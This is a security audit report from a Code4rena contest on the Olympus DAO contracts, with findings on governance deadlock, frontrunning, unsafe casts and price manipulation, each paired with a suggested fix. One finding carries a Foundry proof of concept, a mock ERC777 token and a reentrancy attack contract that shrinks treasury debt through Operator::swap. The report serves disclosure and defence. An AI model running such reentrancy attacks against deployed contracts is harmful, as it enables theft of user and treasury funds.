Olympus DAO contest - zzzitron's results

Lines of code

https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/policies/Governance.sol#L181

Vulnerability details

Impact

It may cause a deadlock situation

Condition:

• there is no proposal with enough endorsement
• majority (depending on the endorsement threshold) of votes are locked in the current proposal
• The votes for the current proposal are balanced between for and against so it does not meet the criteria to be executed

Proof of Concept

If users vote, their votes are transferred to the governance contract. So these voters cannot endorse any new proposals. To get the votes back, a new proposal should be activated. It can happen by either 1) activateProposal or 2) executeProposal. However,

1. activateProposal will revert if there is not enough endorsement
2. executeProposal will revert if the (for-vote - against-vote) is more than certain threshold

So if the both conditions cannot be met, no vote can be reclaimed and it will end up stuck there.

// Governance::activateProposal
// can update activeProposal
// but needs enough votes to activate a proposal
216         if (
217             (totalEndorsementsForProposal[proposalId_] * 100) <
218             VOTES.totalSupply() * ENDORSEMENT_THRESHOLD
219         ) {
220             revert NotEnoughEndorsementsToActivateProposal();
221         }

// Governance::vote
// if one votes, their votes will be transferred away
259         VOTES.transferFrom(msg.sender, address(this), userVotes);

// Governance::executeProposal
// can update activeProposal
// but can only execute if the voting condition is met
265     function executeProposal() external {
266         uint256 netVotes = yesVotesForProposal[activeProposal.proposalId] -
267             noVotesForProposal[activeProposal.proposalId];
268         if (netVotes * 100 < VOTES.totalSupply() * EXECUTION_THRESHOLD) {
269             revert NotEnoughVotesToExecute();
270         }

// Governance::reclaimVotes
// can only reclaim if the proposalId is not active anymore
302         if (proposalId_ == activeProposal.proposalId) {
303             revert CannotReclaimTokensForActiveVote();
304         }

When the Governance falls into the situation, the admin can resolve it by either

1. minting enough additional votes to make a new proposal active or
2. burning the votes of governance
3. propose, endorse and activate a proposal
4. mint the burned votes back to the governance
5. users can reclaim their votes as a new proposal is active

Tools Used

none

Recommended Mitigation Steps

Instead of transferring user's vote, snapshot can be used.

<!-- zzzitron M09 -->

Lines of code

https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/modules/TRSRY.sol#L64-L72 https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/policies/TreasuryCustodian.sol#L42-L48

Vulnerability details

Impact

An attacker may be able to withdraw more than intended

Proof of Concept

Let's say the alice had approval of 100. Now the treasury custodian reduced the approval to 50. Alice could frontrun the setApprovalFor of 50, and withdraw 100 as it was before. Then withdraw 50 with the newly set approval. So the alice could withdraw 150.

// modules/TRSRY.sol

 63     /// @notice Sets approval for specific withdrawer addresses
 64     function setApprovalFor(
 65         address withdrawer_,
 66         ERC20 token_,
 67         uint256 amount_
 68     ) external permissioned {
 69         withdrawApproval[withdrawer_][token_] = amount_;
 70
 71         emit ApprovedForWithdrawal(withdrawer_, token_, amount_);
 72     }

The TreasuryCustodian simply calls the setApprovalFor to grant Approval.

 41
 42     function grantApproval(
 43         address for_,
 44         ERC20 token_,
 45         uint256 amount_
 46     ) external onlyRole("custodian") {
 47         TRSRY.setApprovalFor(for_, token_, amount_);
 48     }

Tools Used

none

Recommended Mitigation Steps

Instead of setting the given amount, one can reduce from the current approval. By doing so, it checks whether the previous approval is spend.

<!-- zzzitron M06 -->

Lines of code

https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/policies/Governance.sol#L205-L289

Vulnerability details

Impact

It may effect the fairness of the voting process

Proof of Concept

1. activateProposal There can be only one active proposal at a time. Therefore, if alice frontruns bob's activateProposal, the bob should wait until the GRACE_PERIOD. By doing so, one can prevent somebody else's proposal to go active.

2. vote The vote does not contain which proposalId to vote for/against as parameter. This may make it possible for frontrun the vote by activateProposal so that the vote was counted for the propose, which the voter was not intended. Or the miners may hold the vote back to use it for other proposal. This is especially problem, because even after the GRACE_PERIOD one can vote, and the executeProposal can be called for the proposal. At the same time, a new proposal can be activated.

3. executeProposal The executeProposal will be successful if 1) the vote passed 2) after EXECUTION_TIMELOCK. Therefore, after the EXECUTIOIN_TIMELOCK, it is open for votes but one can execute as soon as the number of votes meets the condition. So, it gives an opportunity to frontrun against vote to execute before the against votes are count.

Tools Used

none

Recommended Mitigation Steps

The vote function should contain proposalId for the vote and compared to the active proposal. It is good to have a fixed window of votes, and allow to vote only within this window. Then count the votes after the voting window and execute the proposal if it passed. Currently there are overraps between voting, executing, deactivating the current proposal and activating the next proposal, which introduces frontrun opportunities.

<!-- zzzitron M003 -->

Lines of code

https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/policies/Governance.sol#L247-L249

Vulnerability details

Impact

The votes do not reflect the votes the user have

Proof of Concept

In the line 247 of the below snippet, the vote function checks whether the user already voted to the current proposal. This prevents the users from voting additionally.

If the user forgot to reclaim from the past votes, or the user got minted additionally after the vote, the user cannot use those votes for the current proposal anymore. This is unfair, especially because the user cannot bypass this by transferring the votes, as transfer is disabled.

// Governance::vote
240     function vote(bool for_) external {
241         uint256 userVotes = VOTES.balanceOf(msg.sender);
242
243         if (activeProposal.proposalId == 0) {
244             revert NoActiveProposalDetected();
245         }
246
247         if (userVotesForProposal[activeProposal.proposalId][msg.sender] > 0) {
248             revert UserAlreadyVoted();
249         }
250
251         if (for_) {
252             yesVotesForProposal[activeProposal.proposalId] += userVotes;
253         } else {
254             noVotesForProposal[activeProposal.proposalId] += userVotes;
255         }
256
257         userVotesForProposal[activeProposal.proposalId][msg.sender] = userVotes;
258
259         VOTES.transferFrom(msg.sender, address(this), userVotes);
260
261         emit WalletVoted(activeProposal.proposalId, msg.sender, for_, userVotes);
262     }

Tools Used

none

Recommended Mitigation Steps

Allow to vote additionally.

<!-- zzzitron M08 -->

Lines of code

https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/policies/VoterRegistration.sol#L53-L56 https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/policies/Governance.sol#L259

Vulnerability details

Impact

One can avoid to be revoked their votes

Proof of Concept

Let's assume there is a running votes. If an user will be revoked their votes by VoteRegistration::revokeVotesFrom, they can call Governance::vote with high gas fee to avoid for their votes to be taken away by front-running the revokeVotesFrom.

The Governance::vote will transfer the votes from the user to the governance contract. Therefore, after the vote, the user does not have any votes in their address. So, the VoteRegistration::revokeVotesFrom will revert and no votes are revoked.

To be really sure, the user keep their votes always in the Governance contract by voting and reclaim only before the next vote. This way, the user will have the voting power, but they will be always safe from any revokes.

// policies/VoterRegistration::revokeVotesFrom

 53     function revokeVotesFrom(address wallet_, uint256 amount_) external onlyRole("voter_admin") {
 54         // Revoke the votes in the VOTES module
 55         VOTES.burnFrom(wallet_, amount_);
 56     }

// policies/Governance::vote
 259         VOTES.transferFrom(msg.sender, address(this), userVotes);

Tools Used

none

Recommended Mitigation Steps

If the votes should be transferred to the governance after the vote, the revoke function should also decrease those votes.

<!-- zzzitron M04 -->

Lines of code

https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/modules/TRSRY.sol#L105-L112 https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/policies/Operator.sol#L330

Vulnerability details

Impact

One can repay loan to the treasury with the value from the Operator::swap

Condition:

• the reserve token in Operator has hook for sender (like ERC777)
• the debt is the same token as reserve

Proof of Concept

The below code snippet shows a part of proof of concept for reentrancy attack, which is based on src/test/policies/Operator.t.sol. The full test code can be found here, and git diff from the Operator.t.sol.

Let's say that the reserve token implements ERC777 with the hook for the sender (see weird erc20). If the attacker can take debt of the reserve currency for the attack contract Reenterer, the contract can call OlympusTreasury::repayLoan and in the middle of repay call Operator::swap function. The swap function will modify the reserve token balance of treasury and the amount the attacker swapped will be also be used for the repayLoan.

In the below example, the attacker has debt of 1e18, and repays 1e17. But since the swap function is called in the repayLoan, the debt is reduced 1e17 more then it should. And the swap happened as expected so the attack has the corresponding ohm token.

/// Mock to simulate the senders hook
/// for simplicity omitted the certain aspects like ERC1820 registry and etc.
contract MockERC777 is MockERC20 {
    constructor () MockERC20("ERC777", "777", 18) {}

    function transferFrom(address from, address to, uint256 amount) public override returns (bool) {
        _callTokenToSend(from, to, amount);
        return super.transferFrom(from, to, amount);
        // _callTokenReceived(from, to, amount);
    }

    // simplified implementation for ERC777
    function _callTokenToSend(address from, address to, uint256 amount) private {
      if (from != address(0)) {
        IERC777Sender(from).tokensToSend(from, to, amount);
      }
    }
}

interface IERC777Sender {
  function tokensToSend(address from, address to, uint256 amount) external;
}

/// Concept for an attack contract
contract Reenterer is IERC777Sender {
  ERC20 public token;
  Operator public operator;
  bool public entered;

  constructor(address token_, Operator op_) {
    token = ERC20(token_);
    operator = op_;
  }

  function tokensToSend(address from, address to, uint256 amount) external override {
    if (!entered) {
    // call swap from reenter
    // which will manipulate the balance of treasury
      entered = true;
      operator.swap(token, 1e17, 0);
    }
  }
  
  function attack(OlympusTreasury treasury) public {
    // approve to the treasury
    token.approve(address(treasury), 1e18);
    token.approve(address(operator), 100* 1e18);

    // repayDebt of 1e17
    treasury.repayLoan(token, 1e17);
  }
}

/// the test
    function test_poc__reenter() public {
        vm.prank(guardian);
        operator.initialize();

      reserve.mint(address(reenterer), 1e18);
      assertEq(treasury.reserveDebt(reserve, address(reenterer)), 1e18);
      // start repayLoan
      reenterer.attack(treasury);
      // it should be 9 * 1e17 but it is 8 * 1e17
      assertEq(treasury.reserveDebt(reserve, address(reenterer)), 8*1e17);
    }

Cause

The repayLoan, in the line 110 below, calls the safeTransferFrom. The balance before and after are compared to determine how much of debt is paid. So, if the safeTranferFrom can modify the balance, the attacker can profit from it.

// OlympusTreasury::repayLoan
// https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/modules/TRSRY.sol#L105-L112
105     function repayLoan(ERC20 token_, uint256 amount_) external nonReentrant {
106         if (reserveDebt[token_][msg.sender] == 0) revert TRSRY_NoDebtOutstanding();
107
108         // Deposit from caller first (to handle nonstandard token transfers)
109         uint256 prevBalance = token_.balanceOf(address(this));
110         token_.safeTransferFrom(msg.sender, address(this), amount_);
111
112         uint256 received = token_.balanceOf(address(this)) - prevBalance;

In the swap function, if the amount in token is reserve, the payment token to buy ohm will be paid to the treasury. It gives to an opportunity to modify the balance.

// Operator::swap
// https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/policies/Operator.sol#L330
329             /// Transfer reserves to treasury
330             reserve.safeTransferFrom(msg.sender, address(TRSRY), amountIn_);

Although both of Operator::swap and OlympusTreasury::repayLoan have nonReentrant modifier, it does not prevent as they are two different contracts.

Tools Used

foundry

Recommended Mitigation Steps

The deposit logic in the OlympusTreasury::repayLoan was trying to handle nonstandard tokens, such as fee-on-transfer. But by doing so introduced an attack vector for tokens with ERC777. If the reserve token should be decided in the governance, it should be clarified, which token standards can be used safely.

<!-- zzzitron M00 -->

Lines of code

https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/modules/RANGE.sol#L242-L250

Vulnerability details

Impact

The beat cannot be called anymore and price information will not be updated

Condition:

• the wallspread is set to 10000 (100%)
• lower wall is active (range.low.active==true)
• the price falls into the lower cushion (currentPrice < range.cushion.low.price && currentPrice > range.wall.low.price), therefore activates the lower bond market

Proof of Concept

The below proof of concept demonstrates that the operate will revert with 100% wallspread. The full test code can be found here as well as the diff from Operator.t.sol.

In the test, the wallspread was set to 10000, which is 100% (line 51). The price was set so that the lower market should be deployed (line 59). In the market deployment logic (Operator::_activate) will revert due to division by zero, and operate will fail.

Once this condition is met, the operate cannot be called and Heart::beat cannot be called as well, since the Heart::beat is calling Operator::opearate under the hood. As the result the price can never be updated. But other codes who uses the price information will not know that the price information is stale. If the upper wall is active and still have the capacity, one can swap from the upper wall using the stale information, which might cause some loss of funds.

    function test_poc__lowCushionDeployWithWallspread10000Reverts() public {
        /// Initialize operator
        vm.prank(guardian);
        operator.initialize();

        /// if the wallspread is 10000 the operate might revert
        vm.prank(policy);
        operator.setSpreads(7000, 10000);

        /// Confirm that the cushion is not deployed
        assertTrue(!auctioneer.isLive(range.market(true)));

        /// Set price on mock oracle into the lower cushion
        /// given the lower wallspread is 10000
        /// when the lower market should be deployed the operate reverts
        price.setLastPrice(20 * 1e18);

        /// Trigger the operate function manually
        /// The operate will revert Error with "Division or modulo by 0"
        /// But I could not figure out to catch with `expectRevert`
        /// so just commenting out the assert
        // vm.prank(guardian);
        // /// vm.expectRevert(bytes("Division or module by 0"));   // this cannot catch the revert...
        // operator.operate();
    }

Cause

The main cause is that the RANGE::setSpreads function fails to check for wallSpread_ == 10000. If the setter does not allow the wallSpread to be 100%, the price of the lower wall will not go to zero.

// modules/RANGE.sol
// https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/modules/RANGE.sol#L242-L250

242     function setSpreads(uint256 cushionSpread_, uint256 wallSpread_) external permissioned {
243         // Confirm spreads are within allowed values
244         if (
245             wallSpread_ > 10000 ||
246             wallSpread_ < 100 ||
247             cushionSpread_ > 10000 ||
248             cushionSpread_ < 100 ||
249             cushionSpread_ > wallSpread_
250         ) revert RANGE_InvalidParams();

In the RANGE::updatePrices, the price of lower wall will be zero if the wallSpread is 100%. If the price of lower wall is zero, the Operator::_activate will fail for the lower cushion.

// policies/Operator.sol::_activate(bool high_)
// when high_ is false
421             uint256 invWallPrice = 10**(oracleDecimals * 2) / range.wall.low.price;

// modules/RANGE.sol::updatePrices
164         _range.wall.low.price = (movingAverage_ * (FACTOR_SCALE - wallSpread)) / FACTOR_SCALE;

Tools Used

foundry

Recommended Mitigation Steps

Mitigation suggestion: line 245. Forbid wallSpread to be 100%.

// modules/RANGE.sol
// https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/modules/RANGE.sol#L242-L250

242     function setSpreads(uint256 cushionSpread_, uint256 wallSpread_) external permissioned {
243         // Confirm spreads are within allowed values
244         if (
-245            wallSpread_ > 10000 ||
+               wallSpread_ >= 10000 ||
246             wallSpread_ < 100 ||
247             cushionSpread_ > 10000 ||
248             cushionSpread_ < 100 ||
249             cushionSpread_ > wallSpread_
250         ) revert RANGE_InvalidParams();

<!-- zzzitron M01 -->

Lines of code

https://github.com/code-423n4/2022-08-olympus/blob/main/src/modules/PRICE.sol#L154-L180

Vulnerability details

Impact

It may result to incorrect price information

Proof of Concept

In the PRICE::getCurrentPrice, line 167 and 173, the ohmEthPriceInt and reserveEthPriceInt are integers, which were casted to uint256 without checking for the underflow.

If the reserveEthPrice should be zero, the getCurrentPrice will revert due to line 177. But it will not revert if the ohmEthPriceInt should be zero.

// modules/PRICE.sol::getCurrentPrice
// https://github.com/code-423n4/2022-08-olympus/blob/main/src/modules/PRICE.sol#L154-L180

160         {
161             (, int256 ohmEthPriceInt, , uint256 updatedAt, ) = _ohmEthPriceFeed.latestRoundData();
162             // Use a multiple of observation frequency to determine what is too old to use.
163             // Price feeds will not provide an updated answer if the data doesn't change much.
164             // This would be similar to if the feed just stopped updating; therefore, we need a cutoff.
165             if (updatedAt < block.timestamp - 3 * uint256(observationFrequency))
166                 revert Price_BadFeed(address(_ohmEthPriceFeed));
167:            ohmEthPrice = uint256(ohmEthPriceInt);
168
169             int256 reserveEthPriceInt;
170             (, reserveEthPriceInt, , updatedAt, ) = _reserveEthPriceFeed.latestRoundData();
171             if (updatedAt < block.timestamp - uint256(observationFrequency))
172                 revert Price_BadFeed(address(_reserveEthPriceFeed));
173:            reserveEthPrice = uint256(reserveEthPriceInt);
174         }
175
176         // Convert to OHM/RESERVE price
177         uint256 currentPrice = (ohmEthPrice * _scaleFactor) / reserveEthPrice;

Tools Used

none

Recommended Mitigation Steps

Check if the returned prices are bigger than zero.

<!-- zzzitron M05 -->

Lines of code

https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/policies/Heart.sol#L92-L109

Vulnerability details

Impact

The price information can be manipulated

Condition:

• if the lastBeat is behind

Proof of Concept

Upon updating the lastBeat, the current timestamp was not used. Instead, the current frequency was added to the last lastBeat. In the case the lastBeat is multiple times behind of the observation frequency, the beat function can be called multiple times, even within the same block. This will lead to manipulation of the moving average, therefore price manipulation.

There are multiple possibilities why the condition may occur.

1. reduce frequency but forget to call resetBeat
2. increase frequency and call resetBeat, then reduce the frequency again
3. simply because nobody called the beat function
4. the reward token balance of the contract was too low, therefore the beat could not be called. If this was the case, one can send reward token to the Heart contract in order to manipulate the price

// policies/Heart.sol
// https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/policies/Heart.sol#L92-L109

 92     function beat() external nonReentrant {
 93         if (!active) revert Heart_BeatStopped();
 94         if (block.timestamp < lastBeat + frequency()) revert Heart_OutOfCycle();
 95
 96         // Update the moving average on the Price module
 97         PRICE.updateMovingAverage();
 98
 99         // Trigger price range update and market operations
100         _operator.operate();
101
102         // Update the last beat timestamp
103         lastBeat += frequency();
104
105         // Issue reward to sender
106         _issueReward(msg.sender);
107
108         emit Beat(block.timestamp);
109     }

Tools Used

none

Recommended Mitigation Steps

When the Heart::beat is called, update the lastBeat to the current block.timestamp.

<!-- zzzitron M02 -->

Olympus DAO QA Report

Summary

Low

L00 Operator: incorrect accounting for fee-on-transfer reserve token

• https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/policies/Operator.sol#L330

If the reserve token is fee-to-transfer token and the user is buying ohm, the Operator::swap will incorrectly assume the amountIn_ value is transferred, which fails to consider the fees. If the fee is rounded up, the attacker can purchase ohm without giving any assets to the treasury. It may not be profitable for the attacker, but it may cause devaluing of the ohm. However, the loss will be limited to the capacity.

// Operator::swap
// if(tokenIn_ == reserve) : buying ohm
329             /// Transfer reserves to treasury
330             reserve.safeTransferFrom(msg.sender, address(TRSRY), amountIn_);

L01 BondCallback: incorrect accounting if quoteToken is rebase token

• https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/policies/BondCallback.sol#L114

If the quoteToken is rebase token, the priorBalances may change due to rebasing or airdrop. It may result to an incorrect accounting. However, whether it is exploitable depends on the Bond market's logic. With the current logic, it just checks whether the balance is increased more than the inputAmount_, so it is harder to exploit, compare to the alternative logic of using the difference in balances as the input amount. However, it also introduces the possibility of paying the users less than they deserve.

// Callback::callback
113         // Check that quoteTokens were transferred prior to the call
114         if (quoteToken.balanceOf(address(this)) < priorBalances[quoteToken] + inputAmount_)
115             revert Callback_TokensNotReceived();

L02 PRICE: unsafe cast for numObservations

• https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/modules/PRICE.sol#L97
• https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/modules/PRICE.sol#L249-L257
• https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/modules/PRICE.sol#L281-L289

The movingAverageDuration and observationFrequency are uint48. So movingAverageDuration / observationFrequency may overflow when casted to uint32. In the below snippet, line 281, the array will be set based on the uint256 value, but the numObservations is casted down to uint32. It may result in different numObservations and the length of observations array. However, given the large numbers, the attempt to set such a large number as the parameters will likely to fail with "out of gas" error, since the length of the array observations is ridiculously large in this case. Yet, it is probably safe to set some upper limit for the numObservations or use safeCast.

// modules/PRICE::constructor
  97         numObservations = uint32(movingAverageDuration_ / observationFrequency_);

// modules/PRICE::changeObservationFrequency
  280         // Store blank observations array of new size
  281         observations = new uint256[](newObservations);
  282
  283         // Set initialized to false and update state variables
  284         initialized = false;
  285         lastObservationTime = 0;
  286         _movingAverage = 0;
  287         nextObsIndex = 0;
  288         observationFrequency = observationFrequency_;
  289         numObservations = uint32(newObservations);

L03 Operator: unsafe cast for decimals

• https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/policies/Operator.sol#L372
• https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/policies/Operator.sol#L427
• https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/policies/Operator.sol#L431-L434
• https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/policies/Operator.sol#L375-L379

In the Operator::_activate decimal values were casted to int8 and uint8 back and forth. Since there is no check, those values can potentially overflow/underflow. However, if it happens the exponent in the line 376 will like to revert due to too large numbers. Besides, if the price decimals are that big, this may not be the biggest problem to face.

// policies/Operator.sol::_activate

372             int8 scaleAdjustment = int8(ohmDecimals) - int8(reserveDecimals) + (priceDecimals / 2);

375             uint256 oracleScale = 10**uint8(int8(PRICE.decimals()) - priceDecimals);
376             uint256 bondScale = 10 **
377                 uint8(
378                     36 + scaleAdjustment + int8(reserveDecimals) - int8(ohmDecimals) - priceDecimals
379                 );

L04 BondCallback: operator is not set constructor

• https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/policies/BondCallback.sol#L38-L45

If the operator is not set, the callback function will revert so, it is crucial to set the operator before any operation. However, it was not set in the constructor, but should be set separately by calling setOperator.

L05 Operator: missing check for configParmas[0] (cushionFactor) in the constructor

• https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/policies/Operator.sol#L92-L150
• https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/policies/Operator.sol#L516-L524

The Operator::constructor does not check the condition of the cushionFactor. Below is the condition for the cushionFactor checked in the Operator::setCushionFactor.

// Operator::setCushionFactor

516     function setCushionFactor(uint32 cushionFactor_) external onlyRole("operator_policy") {
517         /// Confirm factor is within allowed values
518         if (cushionFactor_ > 10000 || cushionFactor_ < 100) revert Operator_InvalidParams();
519
520         /// Set factor
521         _config.cushionFactor = cushionFactor_;
522
523         emit CushionFactorChanged(cushionFactor_);
524     }

L06 Kernel: misplaced zero address check for changeKernel

• https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/Kernel.sol#L76-L78
• https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/Kernel.sol#L254-L257

Currently, the check for the Kernel to be a contract (also not to be the zero address), is in the current Kernel implementation. However, no modules and policies have the logic to ensure this as they inherit from KernelAdapter, which will just set the new kernel without a question. This will work well as long as the new Kernel has the similar logic to check the next Kernel's integrity. However, if the logic is forgotten, there is no other safe guard to ensure that the next kernel is not a zero address and is a contract. Since Kernel is absolutely needed for this system's functionality, there is no possible case that the Kernel should be the zero address. Therefore, it is probably safe to add the checking logic to the KernelAdapter, so every module and policy will check for the next Kernel. It costs more gas since the check is done multiple times, but still arguably it is worth the cost, since Kernel is core part of the system and it will not updated very often.

// KernelAdapter::changeKernel
 76     function changeKernel(Kernel newKernel_) external onlyKernel {
 77         kernel = newKernel_;
 78     }

// Kernel::executeAction
254         } else if (action_ == Actions.MigrateKernel) {
255             ensureContract(target_);
256             _migrateKernel(Kernel(target_));
257         }

L07 Kernel: missing zero address check for executor and admin

• https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/Kernel.sol#L250-L253

The executor and admin are not checked for the zero address when set by the Kernel::executeAction.

// Kernel::executeAction
250         } else if (action_ == Actions.ChangeExecutor) {
251             executor = target_;
252         } else if (action_ == Actions.ChangeAdmin) {
253             admin = target_;

L08 INSTR, Governance: upon module's upgrade, all instruction data should be carried over to the new modules

• https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/policies/Governance.sol#L167
• https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/policies/Governance.sol#L187

The Governance's logic will break if the INSTR module is upgraded to a new contract without having the same instructions data, since the proposalId's the Governance is using are bound to the INSTR module.

L09 BondCallback, Operator: upon module's upgrade, the token approval should be revoked

• https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/policies/BondCallback.sol#L57
• https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/policies/Operator.sol#L167

The BondCallback and Operator approves ohm to the MINTR module in the configureDependencies. However, there is no logic to revoke those approvals (e.i. approve to zero). In the case of the MINTR has some bugs, it may be desirable to be able to revoke the approvals.

// Operator::configureDependencies
167         ohm.safeApprove(address(MINTR), type(uint256).max);

L10 RANGE, PRICE: unused import of FullMath

• https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/modules/RANGE.sol#L18
• https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/modules/PRICE.sol#L23

The modules RANGE and PRICE imports FullMath, but it is not used.

// modules/PRICE.sol
 22 contract OlympusPrice is Module {
 23     using FullMath for uint256;

L11 Heart: if the issueReward fails the heart beat will revert

• https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/policies/Heart.sol#L106

If the _issueReward reverts, for example, because the token balance is too low, the beat will as well revert, due to the safeTransfer. One might consider not to revert even in the case the _issueReward reverts.

L12 PRICE: stale price

There is no indicator whether the price information is up-to-date. If the price information is not properly updated, the other contracts will keep using the data resulting in incorrect prices for swap.

<!-- zzzitron QA -->